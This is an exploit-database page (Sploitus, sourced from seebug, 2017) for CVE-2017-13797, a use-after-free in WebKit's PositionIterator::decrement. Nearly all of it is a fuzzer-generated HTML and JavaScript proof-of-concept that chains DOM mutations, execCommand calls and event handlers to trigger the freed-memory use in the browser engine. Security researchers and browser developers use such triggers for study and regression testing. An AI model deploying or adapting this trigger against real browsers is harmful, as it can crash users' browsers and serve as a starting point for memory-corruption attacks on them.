Sploitus

Exploit for WebKit: use-after-free in WebCore::PositionIterator::decrement

CVE-2017-13797

seebug · 2017-11-23

Exploit Code

MARKDOWN33 lines
## https://sploitus.com/exploit?id=SSV:96885
<script>
function jsfuzzer() {
  circle.nearestViewportElement.innerHTML = "foo";
  document.execCommand("selectAll", false);
}
function eventhandler1() {
  clippath.appendChild(image);
}
function eventhandler2() {
  svg.appendChild(details);
}
function eventhandler3() {
  document.execCommand("fontName", false, "foo");
  button.autofocus = true;
  window.addEventListener("DOMNodeInserted", eventhandler2);
  div.appendChild(q);
}
</script>
<body onload=jsfuzzer()>
<q id="q">
<button id="button" onfocus="eventhandler1()">b</button>
</q>
<image id="image">
<details id="details" open="true">
<keygen autofocus="autofocus">
</details>
<div id="div"></div>
<svg id="svg">
<clipPath id="clippath" onload="eventhandler3()" />
<circle id="circle" />
</svg>
</html>